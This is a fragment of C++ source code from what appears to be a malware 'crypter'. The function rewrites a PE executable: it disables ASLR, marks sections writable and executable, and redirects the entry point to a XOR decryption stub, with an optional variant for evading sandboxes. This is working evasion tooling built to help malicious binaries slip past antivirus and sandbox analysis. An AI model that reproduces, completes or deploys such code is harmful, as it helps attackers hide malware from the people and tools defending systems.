	}

	free(fileBuffer);

	fileBuffer = (LPBYTE)resDll;

	dosHeader = (PIMAGE_DOS_HEADER) fileBuffer;
	// check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid
	if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
		MYPRINTF("IMAGE_DOS_SIGNATURE\n");
		delete Crypter::section;
		return false;
	}

	ntHeaders = (PIMAGE_NT_HEADERS) (fileBuffer + dosHeader->e_lfanew);
	if(ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
		MYPRINTF("IMAGE_NT_SIGNATURE\n");
		delete Crypter::section;
		return false;
	}
	ntHeaders->OptionalHeader.DllCharacteristics = ntHeaders->OptionalHeader.DllCharacteristics & ~IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE;

	sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
	while(memcmp(sectionHeader->Name, Crypter::section, strlen(Crypter::section))) // get the ".fpbcfg" section header
		sectionHeader++;

	sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; 
	// R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W...
	if (Crypter::evadeSandbox){
		ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub_evade_sandbox - (DWORD)_xor_block_evade_sandbox);
	} else {
		ntHeaders->OptionalHeader.AddressOfEntryPoint = sectionHeader->VirtualAddress + ((DWORD)_stub - (DWORD)_xor_block);
	}
	

	sectionHeader = (PIMAGE_SECTION_HEADER) SECHDROFFSET(fileBuffer);
	while(memcmp(sectionHeader->Name, TEXT_SECTION, strlen(TEXT_SECTION))) // get the ".text" section header
		sectionHeader++;

	sectionHeader->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_EXECUTE; 
	// R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W...

	bool res = true;
	if (!Crypter::saveFile(outfile, resDll, szResDll)){
		res = false;
		MYPRINTF("Unable to save file\n");
	}

	free(fileBuffer);
	delete Crypter::section;

	return res;
}